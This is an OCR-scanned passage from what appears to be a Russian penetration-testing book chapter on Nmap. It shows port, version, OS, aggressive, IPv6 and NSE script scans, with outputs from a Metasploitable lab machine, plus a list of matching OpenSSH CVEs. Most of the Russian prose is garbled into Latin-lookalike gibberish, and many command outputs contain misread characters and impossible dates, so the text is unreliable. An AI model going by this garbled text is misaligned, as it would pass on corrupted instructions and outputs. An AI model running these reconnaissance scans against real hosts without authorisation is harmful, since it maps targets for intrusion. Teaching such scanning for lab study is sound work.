services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,
99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,
222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,
443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563, 587,
593,616-617,625,631,636,646,648,666-668,683,687,691,700,

Jlyist KpaTKOCTH U3 MpPeIbLyIero (hparMeHTa Koaa ObLIN yaajJeHbl HEKOTOPbIE TOP-
Tol. B BbixogHOM XML-baiine Bbl yBuanTe KaxKAbIH TOPT, TPOCKAHUPOBAHHBI Nmap.
Hwuke mokaszan oTBET OT KaXKI0TO OTAEIbHO CKaHUPyeMoro nopTa. OTsATh e /i KpaT-
KOCTHU B OTYeT BKJIIOYEHb! He BCE IIOPTHL:

<verbose level="0"/>

<debugging level="0"/>

<host starttime="1455588380" endtime="1455588382"><status state="up"
reason="arp-response" reason_ttl="0"/>

<address addr="172.16.43.156" addrtype="ipv4"/>

<address addr="00:0C:29:18:0F:08" addrtype="mac" vendor="VMware"/>

<hostnames>

</hostnames>

<ports><extraports state="closed" count="977">

<extrareasons reason="resets" count="977"/>

</extraports>

<port protocol="tcp" portid="21"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="ftp" method="table" conf="3"/></port>

<port protocol="tcp" portid="22"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="ssh" method="table" conf="3"/></port>

<port protocol="tcp" portid="23"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="telnet" method="table" conf="3"/></port>

<port protocol="tcp" portid="25"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="smtp" method="table" conf="3"/></port>

<port protocol="tcp" portid="53"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="domain" method="table" conf="3"/></port>

<port protocol="tcp" portid="80"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="http" method="table" conf="3"/></port>

<port protocol="tcp" portid="111"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="rpcbind" method="table" conf="3"/></port>

<port protocol="tcp" portid="139"><state state="open" reason="syn-ack"
reason_ttl="64"/><service name="netbios-ssn" method="table"
conf="3"/></port>

Boixosiabie jartbie XML He oueHb yao0HbI A7t TIpocMOoTpa. UToOBI OTYET BBITJISIE
mpotite, caeayer mpeodpasosath X ML-daiin or Nmap 8 HTML-dopmat. /lanHast ore-
parysi mo3BOJIUT BaM TIOJIYYUTD /111 OTYETA YUCThIE€ BbIXOAHDBIC JTaHHDBIC. Torz:[a COTpyA-
HUKUN 663 TEXHUYECKOTO O6p3.30BaHI/IH CMOTYT ITOHATDH IPUBEJICHHBIEC B OTYETE JaHHDBIC.
[lns xonsepraiuu XM L-daiira MoKHO UCTIOB30BaTh KOMaHY Xsltproc:

xsltproc myscan.xml -o myscan.html
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Ha puc. 5.14 npuseznena yactb oruera HTML, orobpaskaemoro 6paysepom Firefox
ESR, Bxoggiero B cocta Kali Linux.

172.16.43.156
|Address
* 172.16.43.156 (ipvd)
* D0:0C:29:18:0F:08 - VMware (mac)
Ports
[The 577 ports scanned but not shown belaw are in state: closed
= 877 ports replied with: resets
Part State (toggle closed [0] | filkered [07) Service Reason Product Version Extra info
21 tcp  [open ftp syn-nck
22 tp  |open ssh syn-ack.
23 tep  [open telnet syr-ack
25 tep  |open smitp syn-ack.
53 tep  |apen damain myn ack
A0 tcp  [open hitp syn-nck
111 tp  |open rpcbind syn-ack.
139 tcp  |open netbics-s8n sym-ack.
445 tcp  |open microsoft-ds. mym-ack.
n12 tep |apen g myn - ack
513 tcp  [open login [syn-ack.
514 tep  [open shell syn-ack.
1099 tco |open rmiregistry syn-ack.
1524 tep  |open syn-ack.
2049 tep |open nfs wyn-nck
2121 tcp |open ecproxy-fip | syn-ack
3306 tep  |open sl syn-ack.
5432 tcp  |open syn-ack.
5900 teo  |open wne syn-ack.
000 tep |open H11 wyn-nck
GGGT tcp  |open irc
8009 tep  fopen ajp1d syr-ack
8180 tcp |open unknown | sym-ack

Puc. 5.14. OparmeHT oTyeTa B bpay3sepe Firefox ESR

Ecii BbI X0THTE 06paborars XML-BbiBo 0T Nmap 1o cBoeMy BKYCY, MOKHO 00-
paTuThes K yHUBEpcaibHbIM X ML-01bmorexaM S3bIKOB TIporpaMmupoBanus. Kpome
TOTO, CYIIECTBYET HECKOJNBKO OUOIMOTEK, CHEIUaNbHO PaspadoTaHHbBIX Jist PabOThI
¢ Nmap:

Q Perl — Nmap-Parser (http://search.cpan.org/dist/Nmap-Parser/);
Python — python-nmap (http://xael.org/norman/python/python-nmap/);
Ruby — Ruby Nmap (http://rubynmap.sourceforge.net/);

[ iy

PowerShell — cuenapuii aist cTpyKTypHOTO aHau3a gaHubix Nmap XML (http://
www.sans.org/windows-security/2009/06/11/powershell-script-to-parse-nmap-xml-output).

MNapamMeTpbl CUHXPOHU3aLNN

Nmap TIOCTAaBJIAETCA C HIECTHIO PEKNMaMU CUHXPOHU3aIllNN, KOTOPbIE YCTaHABJINBAIOTCA
C TTOMOTIIBIO TTapaMeTpoB (-T).

Q paranoid (@) — B 9TOM pesKMMe CUHXPOHU3AINY [TAKET OTIPABJILACTCH KasK/IbIe MATh
MUHYT. [IakeTpl OTIIPaBIIAIOTCS MOCTEA0BATENBHO. PesKUM MCIIOIb3YeTCs IS IIPE/IOT-
BpallleHust OOHAPYKEHMST UICHTU(HDUKATOPOB.
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a

a

sneaky (1) — maket nepeziaercst kaxpie 15 cexyn. [lapanienbHo HUKaKue aKeTbl
He [epeaioTes.

polite (2) — maker nepegaercs Kaxzabie 0,4 CeKyH/IbI M HET HUKAKOH MMapaijieIbHOI
nepeayn.

normal (3) — B 9TOM pe)KMMe I1aKeTbl OZIHOBPEMEHHO OTIIPABJIAIOTCS TPYILIE Leseid.
JlanHbiil peskuM B Nmap BbIOpaH 110 YMOTYAHUIO. ITO KOMIPOMUCC MEKLY 3aTpa-
YEeHHBIM Ha TeCT BpeMeHEM U CeTeBOH Harpy3Kou.

aggressive (4) — Nmap Oy/ieT CKaHIPOBATh 1IEJIEBOII KOMIIBIOTED IISITh MUHYT, IIOCJIe
Jero rnepeiieT K ciaeayionieil mesan. B aTom pesknMe Bpemst oxkuganust orseta Nmap
cocTasisier He 6oJiee 1,25 ceKyH/Ibl.

insane (5) — Nmap ckanupyer meseBoil KOMIIbIOTED 75 CEKYH/I, [TOCJIe Yero mepe-
XOAUT K cJieyioniell nean. B qanHom pesxume BpeMst oxkuganns Nmap — He 6oJiee
0,3 cekyH/IbI.

Ecnu Bam He HyzkeH GoJiee CKPBITBIH peskuM uiin 6osiee GbICcTpas IpoOBEpKa, JIydiie

BBIGUPATH PEKUM TI0 YMOTYAHHUIO.

[None3Hble napameTpbl Nmap

B

9TOM pasjieJjie Mbl O6cy,Z[I/IM HECKOJIbKO ITapaMETPOB Nmap, KOTOpPbIE€ BECbMA ITOJIE3HbI

IIpu IIpOBEAEHUN TECTOB Ha IPOHUKHOBEHUE.

OnpeaeneHne Bepcun Cryxo6bl

ITpu ckaHUPOBAHUU IIOPTOB MOKHO MOIPOCUTH NIap IPOBEPUTH BEPCHUIO CIYKObL.
Irta nHpopMAaIUs OUeHb MoJIe3HA TIPU TTOCIeIy oIl NIeHTU(DUKAITIHT YI3BUMOCTEH.

YT06bI 33/1€HICTBOBATH TAKYI0 BO3MOKHOCTB, IIPU paboTe CKaHepa YKaKUTe mapa-

Metp -sV. Haripumep, Mbl XOTUM HAiiTH BEPCHUIO TIPOTPAMMHOTO 00€CTIeUEH s, UCIIOIb-
3yeMoro Ha opte 22:

nmap -sV 172.16.43.156 -p 22

Ha puc. 5.15 npuBe/ien pe3yibTaT BBITOJHEHUS STONH KOMAHIBI.

|Startj_ng Nmap 6.49BETA4 ( https://mmap.crg ) at 2016-83-20 13:54 PDT
Nmap scan report for 172.16.43.156

Host i1s up (8.86031ls latency) .

PORT  STATE SERVWICE VERSION

22/tcp open ssh OpenSSH 4.7pl Debilan Bubuntul {protocol 2.8)
MAC Address: G0:0C:29:18:08F:08 (VMwara)

Servica Info: 0S: Linux; CPE: cpe:/o:linux:1inux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
[Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

Puc. 5.15. Pe3ynbTaT cCKaHMPOBaHWSA nopTa 22
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13 1o/1y4eHHOro OTBeTa Mbl BUAUM, YTO Ha mopTe 22 HaxoauTcs ciys:xba SSH, uc-
1oJb3yiolas mporpammuoe obecniedenie OpenSSH Bepcuu 4.7p1, u nmporokon SSH 2.0.

O6Hapy»eHue onepaLmMoHHON CUCTEMbI

Nmap Takske MOKHO IIOIIPOCUTD ITPOBEPUTD OIIEPAIIMOHHYIO CHCTEMY, UCII0JIb3YEMYIO
Ha I1eJIeBOM KOMIIbIoTepe. DTa MHMOPMaIlig OueHb [10oJIe3Ha IPU WAeHTUdUKaIuU ya3-
BuMocTeil. Utobbl 3a/1ecTBOBATE ATY (DYHKIMIO, YKaXKUTE mapaMeTrp —0.

Harnpumep, MbI XOTUM HaiTH ONEPAIIMOHHYIO CUCTEMY, UCIIOIb3yEeMYIO Ha 11eJIeBOI
MalInHe:

nmap -0 172.16.43.156

B pesyubrare Mbl yBuamM ciepyiorine ctpoku (puc. 5.16).

!Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2816-03-28 13:58 PDT
Nmap scan report for 172.16.43.156
Host is up (0.80021s latency) .
[Not shown: 977 closed ports
[PORT STATE SERVICE
| open ftp

open ssh

open telnet

open  smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open  exec

open legin

open  shell

open  rmiregistry

open ingreslock

open nfs

open ccproxy-ftp

opan  mysgl

open postgresql

open  wnc

open  X11

open irc

open ajpl3
| J open  unknawn
(MAC Address: B0:BC:29:18:0F:88 (VMware)
Device type: genersl purpose
[Running: Linux 2.6.X
I : cpaiforlinux:linux_kernal :2.6
0S datails: Linux 2.6.89 - 2.6.33
Network Distance: 1 hop

(oS datectlion performed. Flease report any incorrect results at https://nmap.org/
[submit/ .
[Nmap done: 1 IP address (1 host up) scanned 1n 3.46 seconds

Puc. 5.16. O6bHapy>xeHVe ornepaLmMoHHON CUCTEMbI Ha LIeNeBO MalLuHe

Vcxoist u3 npuBeieHHO# BbITe MH(MOPMAIIMH, MbI BUIUM, YTO yIAJIEHHAS CUCTEMA —
a1o Linux, ucrompaytomas sapo Linux Bepcuit 2.6.9-2.6.33. Ecau B sigpax Linux ectb
YSIBBUMOCTH, MBI MOKEM UMU BOCITOJIb30BATHCSI.
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OTK/0UYEHME 0BHAPYXXEHUS Y3/10B

Ecui xoct 6okupyer 3anpoc ping, Nmap MOKeT IPE/II0NI0KITD, UTO [eIeBast MalllnHA
HeaktuBHa. [To 270 mpuurHEe Nmap He ¢CMO’KeT BBITIOJHUTD MHTEHCUBHOE 30HINPOBa-
HUe, TAKOE KaK CKaHMPOBAaHUE [IOPTOB, OIIPEIeIeHne Bepeuil carysk0 Ha Ioprax 1 oOHa-
Py’KeHHe OllepaluoHHOI cucteMbl. J{is pererns aToi po6aeMbl B Nmap npucyTcTByer
(byHKIMSA OTKII0OYeHNsE 00HAPYKEHUSI XOCTOB, € IIOMOIIbIO KOTOPOIi cKaHep OyzieT cuu-
TaTh, YTO IleJIeBast MAIIMHA JOCTYITHA, U BBITIOJHUT UHTEHCUBHOE 30HIMPOBAHME,

JLuist BKJIIOYEHUsT 3TOM (QYHKIIMY CJIeyeT yKa3aTh apameTp -Pn.

ArpeccMBHOE CKaHMpoBaHue

Jlnst akTuBanuu 30H712 106aBbTe MapaMeTp -A. B aToM cirydae BbI MOKeTE MOTYIUThH
cIeyonyo nHGOPMAIUIO:

Q obuapyskenue Bepcun cepsuca (-sv);

Q obHapysKeHUe olepaluoHHOI crucTeMbl (-0);
O ckanuposanwue ciieHapueB (-sC);
a

TpaccupoBKa (--traceroute).

CxaHupoBaHME TAKOTO TUTA MOKET 3aHATh HEKOTOpoe BpeMs. [l BBIMOTHEHUS
arpeccMBHOIO CKAHUPOBAHUS BBEJUTE CJEAYIONIYI0 KOMAH/LY:

nmap -A 172.16.43.156

Ha puc. 5.17 npuBejieH COKpaIeHHbIi OTYET O BBITIOJTHEHUN KOMAH/IBI.

Starting Nmap 6.498ETA4 ( https://nmap.org ) at 2016-83-28 14:81 POT
MNmap scan report

VERSION
vaftpd 7.3.4
{FTP code 230)
.7pl Debian Bubuntul (pro

cd (DSA)
24 a: : (RSA)
telnat Linux telnetd
Sutp Postfix smtpd
|_smip-commands: metasploitable.localdomain, PIPELINING, SIZE 1@24@0@0, VRFY, ETRM, STARTTLS, ENHANCEDSTATUSCODES, S8BITMIME, DSN

| ssl-cert: Subject: commonName=ubuntuBd4-base.localdonain/organizationName=JC05A/statelrProvinceName=There is ne such thing ocut
ide US/count 4
| Not walid befaor:
|_Not valid after
1-date: 2016-062- 3: S5d87h43mlls From scannar tima,

bind.version: 9.4.2
88/tcp  open http Apache httpd 2.2.8 ({Ubuntw) DAV/2)
|_htip-mothods: Mo Allow or Public hoader in OPTIONS rosponse (Status code 200)
|_htip-server-heador: Apac 8 [Uountu) DAV/2
J_http title: Metasploitable, Linux

Puc. 5.17. OTueT 0 BbINOMHEHUW KOMaHAbI C NapaMeTpom —A

B ponosnenue k nogpo6bHON nHpoOpMaIy o opTax, ciryskbax u cepruduKaTax Mbl
noJryyaeM 1oapoouyIo nndopmaimio o Beb-cepsepe Apache, HacTpoeHHOM Ha IieJIeBOI
maiiune (puc. 5.18).
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MAC Addroee:

me: METASPLOITABLE, NelBIOS user: <unknown=, NelBIOS MAC: <unknown= (unknown)

05: Unix (Senba 3.0 20-Debian)
NetBIOS computer nams:

Workgroup:

Systom time: 4TGE:18:16-05:60

ice detection performed. PL report any incorrect results at https://nmap.org/submit/ .
1 IP address (1 host up) sc d in 78.16 ssconds

Puc. 5.18. MoagpobHas nHbopmaums o cepsuce Apache

Nmap ans ckaHuposaHus Ipvo

B mipezibiyiiiemM pasjiesie Mbl YIIOMUHAH, YTO B KAUeCTBe e J7ist Nmap MOKHO yKa3aTh
et [pv6. PacemoTrpumM, kak aTo ciienaTh.
Hwke nipuBenen [pv6-aapec 3a/1€iicTBOBAHHOTO KOMITBIOTEPA:

Target machine: fe80::20c:29ff:fel8:f08

YT06B! TPOCKAHUPOBATH 11eJ1b ¢ Ipv6, mepen 1eaeBbiM [P-ajgpecoM BBeUTE Mapa-
METP -6 U onpefiesute 1esieBoit agpec Ipv6. Ceituac MbI MOYKEM YKa3bIBaTh TOJIBKO OT-
nenbHble [pv6-aapeca. Hanpumep:

nmap -6 fe80::20c:29ff:fel8:f08

Ha puc. 5.19 BbI yBUANTE PE3yabTaT, TOJYYEHHDIN TOCIE BBITTOJHEHUS JaHHOMT
KOMAaH/Ibl.

Starting Nmap 6.49BETA4 { https://nmap.org ] at 2016-03-20 14:16 PDT
Nmap scan repart for feB@::20c:29ff:fel8:f0B

Host is up (0.80011ls latency).

Mot shown: 896 closed ports

PORT STATE SERVICE

opan ssh
opan  domain
2121/tcp open ccproxy-ftp
5432/tcp open postgresql
MAC Address: 00:8C:29:18:0F:08 (VYMware)

Puc. 5.19. Pesynbtat ckaHupoBaHus Ipv6

Mpy TecTMpoBaHuM Ipv6 Mbl BUAMM, YTO KOMUYECTBO OTKPbITHIX MOPTOB
MeHbLUE, YeM MNpu TECTUPOBaHUM Ipv4. ITO OBbACHSIETCS TEM, UTO He BCe
cny>6bl Ha yAaneHHOM KOMMbloTEPe NnoAAepXuBatoT Ipv6.

10
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CueHapHbI Aok Nmap

Nmap yske cTajy MOITHBIM WHCTPYMEHTOM HCCJIeIoBaHusS ceTu. Ecam aTomy npumioxe-
HUIO 100aBUTH BO3MOKHOCTH 06paboTUIKa CIleHapyeB, OHO cTaHeT 6oJiee MOTHBIM
nactpymeraToM. C nomortsio Nmap Scripting Engine (NSE) mosnb3oBaTe MOTYT aBTO-
MaTHU3UPOBATh PAa3TUYHbBIE CETEBbIE 3a/1a4M, HAITPUMED MTPOBEPKY HA HATMUNE HOBBIX
YSI3BUMOCTEH GE30MAaCHOCTH B TPUJIOKEHISX, OOHAPYKEHIE BEPCUI TPUIOKEHII HIH
JPYTHE BO3MOKHOCTH, HEOCTYITHbBIe B 00biuHOM Nmap. CkaHep Nmap yske BKITHOUMII
passnunbie ciieHapuy NSE B ¢BOI akeT, HO MOJIb30BaTE M MOTYT ITHCATh U COOCTBEH-
HBIE CIIEHAPUH B COOTBETCTBUU CO CBOUMH MOTPEOHOCTSIMHU.

Crenapuu NSE ocHoBanbl Ha s3bike mporpammupoBanns Lua (http://www.lua.org).
Omn BcTpoen B Nmap, n B Hactosinee BpeMs ciieHapuu NSE kmaccuduinmpyiorest ciie-
JYIOIIIM 00pasoM.

Q auth — ciileHapuy 3TOI KaTETOPUH UCTIOIB3YIOTCS 71 TIPOBEPKHU TTOIJTUHHOCTH B 11€-
JIEBOII crcTEME, HATTPUMED, C TOMOIIBIO METO/Ia IPYOOil CUJIBL.

O default — IS BBIOJIHEHUSI CIIEHAPUEB TAKOTO TUITA HEOOXOIMMO BBECTH [TAPAMETPBI
-sC win -A. Eciu crienapwuii 6y/1eT cooTBETCTBOBATH HUIKE TIPUBEICHHBIM TpehGoBa-
HUSIM, OH OYIeT CIPYNITPOBAH B KATETOPHIO MO YMOTYAHKIO:

® CKaHWPOBAHUE OJKHO OBITH GBICTPHIM;
® CKaHWPOBaHUE IOJLKHO TOOBITE MEHHYTO HHMOPMAIHIO;
®  De3yJIbTAaThl CKAHMPOBAHMUSI JIOJIKHBI OBITh KPATKUMU U OAPOOHBIMIL;
® CKaHMPOBAHUE JIOJIKHO OBITH HAJIEKHBIM;
® TeCT He JI0JKeH OOHAPYKUBATHCST TI€TIEBOU CUCTEMOIT;
®  TecT JI0JKEH JeUThCsT MH(OpMaIlneil ¢ TpeThell CTOPOHOM.
QO discovery (OTKpPBITHE) — CI[EHAPUH UCTIOTB3YIOTCS AJIsI IONCKA CETH.

O DoS — crieHapuu B 3TOHM KaTeroOpuu MOTYT BbI3BATh B 11€JIEBOI CHUCTEME OTKa3 B 06-
cayxuBanuu (DoS). Ucnonb3yiite 9Ty BO3MOKHOCTH OCTOPOKHO!

O exploit (sKcIuryaralus) — CleHapUK HOJIb3YIOTCH YA3BUMOCTIMU B 6€30I1aCHOCTI
1eJ1eBOii crcTeMbl. VcmbITaTe o Ha IPOHUKHOBEHNE HeOOX0ANMO PaspelieHue s
BBIIIOJIHEHUS TaKUX JIEUCTBUU B I1€JIEBOU CUCTEME.

O external (BHEIIHUIT) — CIIEHAPUHU TAKOTO TUIIA TIPEIHA3HAYEHBI JIJIsT PAa3TIAITEeHUST
UHMOPMAITIHU TPETHUM JIHTIAM.

Q fuzzer (3aTymMaHMBaHUE) — YTOOBI 3aMaCKUPOBATh Pa3BeIbIBATEIbHYIO A€ATEb-
HOCTb B 11€JIEBOI crCTeMe, TPUMEHSTE TAKOH ClleHapUT.

Q intrusive (HaBA3UUBBIN) — 9TH CLIEHAPUU MOIYT IPUBECTU K COOIO 1IEIEBOM CHCTE-
MBI MJIM UCII0JIb30BATDh BCE PECYyPChl TECTUPYEMOM MallIUHBbI.

O malware (BpeOHOCHASI TTPOTPaMMa) — CII€HAPUU MTPOBEPSIOT, €CTh JIU B T[EIEBOIA
CHCTEME BPEIOHOCHBIE TIPOTPAMMBbI UJTH O9KIOPHI.

O safe (Ge30macHblil) — Tak¥e CIIEHAPUHU HE JIOJKHbI BBI3BIBATH COOIT CJIYKOBI, OTKA3
B o6cayxuBanuu (DoS) win KCoab30BaTh 1EJIEBYIO CHCTEMY.
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Q version (Bepcus) — B ClEHAPHil TAKOTO TUIIA BKJIIOYEH MapaMeTp oOHaPy/KeHUs
Bepcuii (-sV), HasHaUeHHe KOTOPOro — PacIIupeHHoe OOHApy KeHue CIyKObl B 11e-
JIEBOIL cUCTEME.

O vuln (yI3BUMOCTU) — CILIEHAPUU UCIIOJIB3YIOTCS JIJISI IPOBEPKU HAIUUYUS YSI3BUMO-
CcTell B I1eJIeBOI CUCTEME.

Hannbie crienapun Nmap waxogasres B Kali Linux o agpecy /usr/share/nmap/
scripts directories. Ceituac 8 Nmap Bepcun 7.70 copepskurcs 588 cuenapues. B Kali
Linux Br/foueHa UMEHHO 3Ta Bepcrst Nmap.

[lst Bp13oBa NSE niperycMOTpeHO HECKOJIBKO apTyMEHTOB KOMAHTHON CTPOKU:

U -sCuu -script=default — cKaHMPOBaHUE BBIIOJHAETCA C IIOMOIIBIO CIIEHAPUEB,
BbI6paHHbIX 110 YMOJTYaHUIO;

Q --script <ums_¢aiina> | <kamezopusa> | <kamanozu> — CKAaHUPOBAHUE BBITIOJIHIETCS
C TIOMOIIIBIO CIIEHAPUST, OTIPEIEJIEHHOTO B UMeHAaX (DailyioB, KATErOpUsIX UJIN KaTaJorax

O --script-args <args> — 3aMNCh MPEAOCTABISAET aPTyMEHT clieHapus. Eci ncmosib-
3yeTcst KaTeropust auth, IPUMEPOM TAKUX apTYMEHTOB MOTYT OBbITh UMST TIOJIb30Ba-
TeJIsI UJIA TTapOJIib.

Jlitst ckarnmpoBanust mopra 172.16.43.156 1esieBoii MaIlIMHbI C UCITOJb30BAHUEM CIIe-
HApUEB 10 YMOJIYAHUIO BBEIUTE CIIEAYIONIYI0 KOMAHIY:

nmap -sC 172.16.43.156

Husxe npuBe/ieH COKpallieHHbIH pe3yJbTaT ee BbIIIOJIHEeHNS:

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-02-22 17:09 PST

Nmap scan report for 172.16.43.156

Host is up (0.000099s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

| _ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh

| ssh-hostkey:

| 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

| _ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

23/tcp open telnet

25/tcp open smtp

| _smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000,
VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=ubuntu8e4-
base.localdomain/organizationName=0COSA/stateOrProvinceName=There is no
such thing outside US/countryName=XX

| Not valid before: 2010-03-17T14:07:45

| _Not valid after: 2010-04-16T14:07:45

| _ssl-date: 2016-02-12T05:51:52+00:00; -10d19h17m25s from scanner time.
53/tcp open domain

| dns-nsid:

| _ bind.version: 9.4.2

80/tcp open http
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| _http-methods: No Allow or Public header in OPTIONS response (status code 200)
| _http-title: Metasploitable2 - Linux
8009/tcp open ajpl3
| _ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open unknown
| _http-favicon: Apache Tomcat
| _http-methods: No Allow or Public header in OPTIONS response (status code 200)
| _http-title: Apache Tomcat/5.5
MAC Address: ©0:0C:29:18:0F:08 (Vmware)
Host script results:
| _nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>,
NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| 0S: Unix (Samba 3.0.20-Debian)
|  NetBIOS computer name:
|  Workgroup: WORKGROUP
| System time: 2016-02-12T00:51:49-05:00
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds

W3 5TOro BhIBOJA BIAHO, YTO, UCIIOAb3Ys CLEHAPUH 110 YMOIYaHIIo, Nmap II0Jy4aer
6oaiee 1oAPOOHYI0 MHMOPMALIHUIO.

Ecin ske BaM TpeGyercst BeIOopouHast HHGOPMAIUs O 1IeJEBOI crcTeMe, 1IeIeco-
00pPa3HO CaMOCTOATEIHbHO BLIOMPATh HEOOXOAUMbIE CIIEHAPUH JIJISI IPOBOAMMOLO TECTa.
Hamnpumep, ecsii Mt xoTuM cobpats urdopmaimio 06 HTTP-cepsepe, cienyer B NSE
BeiOparh Takue HTTP-cienapun, kak http-enum, http-headers, http-methods u http-
phpversion:

nmap -script http-enum,http-headers,http-methods,http-php-version -p 80
172.16.43.156

Ha puc. 5.20 nmokaszan pe3yJibTaT BBITIOJHEHUS JAHHOW KOMaH/IbI.

Starting Nmap 6.49BETA4 [ https://nmap.org ) at 2016-03-20 14:21 PDT
WNmap scen repert for 172.16.43.156
Host is up (0,00032s latency) .
PORT ETATE SERVICE
B80/tcp open http
| http-onum:
| Ftikiwiki/ o Tikiwikd
| Jtost/: Test paga
|  /phpinfo.php: Possible information file
| /phpMyAdmin/: phpMyAdmin
| /doc/: Potentlally interasting directery w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
| ficons/: Potentially intaresting Tolder w/ directory listing
|_ /index/: Potentially intarasting folder
http-headers:
Date: Sun, 14 Feb 2816 13:37:43 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-Zubuntu5.10
Connection: close
Content-Type: text/html

{Request type: HEAD)

_http-methods: No Allow or Public header in OPTIONS response (status code 200)

| http-php-versicn: Versions from loge query (less accurate): 5.1.3 - 5.1.6, 5.2.0 -
| Versions from credits query (more accurate): 5.2.3 - 5.2.5
|_Version from header x-powered-by: PHP/5.2.4-2ubuntu5.1@

MAC Address: 00:0C:29:18:0F:08 (VMware)

Puc. 5.20. Pe3ynbTaT BbINOHEHUS KOMaHbI, BKoYatowel B cebs HTTP-cueHapum
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Wcnonbsya yerbipe HTTP-cuenapus NSE, Mbl 1mosrydaem 6oJibiine uHboOpManum
0 Beb-cepBepe MesIeBO CHCTEMBI.

O OO6HapysKeHbI HECKOJIBKO HHTEPECHBIX KaTaaoros: Tikiwiki, test u phpMyAdmin.

O Haiizen unrepecustii paitn: phpinfo.php.

O Mour y3uaunu, uyto cepsep uctnonndyer PHP Bepcun 5.2.3-5.2.5.

[Mocne obcysxaenns Nmap MO3HAKOMUMCST CO CJIEAYIONINM HHCTPYMEHTOM CKaHI-
POBaHMUS TOPTOB.

10

Mbl MOXEM MPEeANOXUTb BaM MOME3HbIN CLEHapWi, KOTOPLIN Ha3blBaeTcs
Nmap Vulscan HCE (http://www.computec.ch/mruef/software/nmap_nse_
vulscan-1.0.tar.gz). OH conocTaBnsieT NHhOPMaLMIO O BEPCUM, NONyYEHHOM
OT LeNeBOro KoMmnbloTepa, ¢ 6a30i AaHHbIX YSI3BUMOCTEN, Takux Kak CVE
(http://cve.mitre.org/), VuIDB (https://vuldb.com/?), SecurityTracker (http://
securitytracker.com/) n SecurityFocus (http://www.securityfocus.com/).

Ha puc. 5.21 nokasan npumep pesyabrara pabotsi cieHapus CVE.

FORT STATE SERVICE RERASCN VERSION

22/tcp opcn ash ayn—ack OpenS8H 5.8pl Debian lubuntul
(Ubuntu Linux; protocol 2.0)

| wulscan: scipvuldb - http://www.scip.ch/en/?vuldb (12 findings):

| [77753] Red Hat Tinux/Fednra & Open88H glibo error() privilege eacalatinon

| [4584] OpenSSH up to 5.7 auth-options.c information disclosure

| [4282] vupenssH 5.x Legacy Certificate Handler buffer overflow

| [2667] CpenBSD OpenSSH up to 4.5 Separation Monitor Designfehler

| [2578] OpenBSD OpenSSH up to 4.4 Signal Handler race condition

| [1999] CpenDOD Cpenddl up to 4.2pl scp system() Designfehler

| [1724] CpenBSD OpenSSH up to 4.2pl GSSAPIDelegateCredentials Designfehler
| [1723] OpenBSD OpenSSH up to 4.2pl Dynamic Port Forwarding Designfehler

| [1082] Mokia IPS0O 2_x OpenSSH Designfehler

| [233] OpenBSD OpenSSH 3.7pl/3.7.1pl PAM Handler Ronfigurationsfehler

| L287] OpenBSD Open3SSH up to 3.7.1 butter append space{) buiter overtlow

| [100] OpenSSH Client IF Restrictions weak authentication

|
|
|

cve — hilp://fove.milre.ory (63 CLindings):

[CVE-2012-6066] freeSSHd.exe in freeSSHd through 1.2.6 allows remote
attackers to bypass authentication wvia a crafted session, as demonstrated
by an CpenS8SH client with modified wersions of ssh.c and sshconnectl.c.
| [CVE-2012-5375] The SSH USERAUTH CHANGE REQUEST feature in SSH Tectia
Server 6£.0.4 through 6.0.20, 6.1.0 through 6.1.12, €.2.0 through 6.2.5, and
6.3.0 through 6.3.2 on UNIX and Linux, when old-style password
authentication is enabled, allows remote attackers to bypass authentication
via a crafted session involving entry of blank passwords, as demonstrated
by a root login session from a modified OpenSSH client with an added
input_userauth passwd changereq call in sshconnect2.c.
| [CVE-2012-552€] A cortain Red Hat build of the pam osh agent_auth module
on Red Hat Enterprise Linux (RHEL) & and Fedora Rawhide calls the glibc
error function instead of the error function in the OpenSSH codebase, which
allows lnral users ko ohkain sensitive information from process memory or
possibly gain privileges via crafted use of an application that relies on
this module, as demonstrated by su and sudo.
| [CVE-2012-0814] The auth parse options function in auth-options.c in sshd
in Cpen38H before 5.7 provides debug messages containing authorized keys
command options, which allowso rcmotc authenticated uoscrs to cbtain
potentially sensitive information by reading these messages, as

Puc. 5.21. Pesynbtat BbiNONHeHNs cueHapus CVE
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MapameTpbl Nmap ansa obxoaa
naeHTuduKaTopoB bpaHaMay3pa

Bo BpeMs TecTupoBaHKs Ha IIPOHUKHOBEHUE Mbl MOKEM CTOJNKHYTHCS C 3AlIUTON CH-
creMbl B Bujie GpanimMayapa u ueHTu(GuKatopoB. Ec/in BbI HCIIOJIb3yeTe HACTPOIKH 10
YMOJIYaHUIO, BALIM IeACTBHUS MOTYT OBITh OOHAPY/KEHbBI MU PE3YIbTAT, IOJIyIeHHbII
ot Nmap, 6yzer Herourbim. [ o6xona Gpanmayapa,/uaeHTuprUKaTOPOB CIEAYET 1C-
MOJIb30BaTh TAKNE IAPAMETPHL.

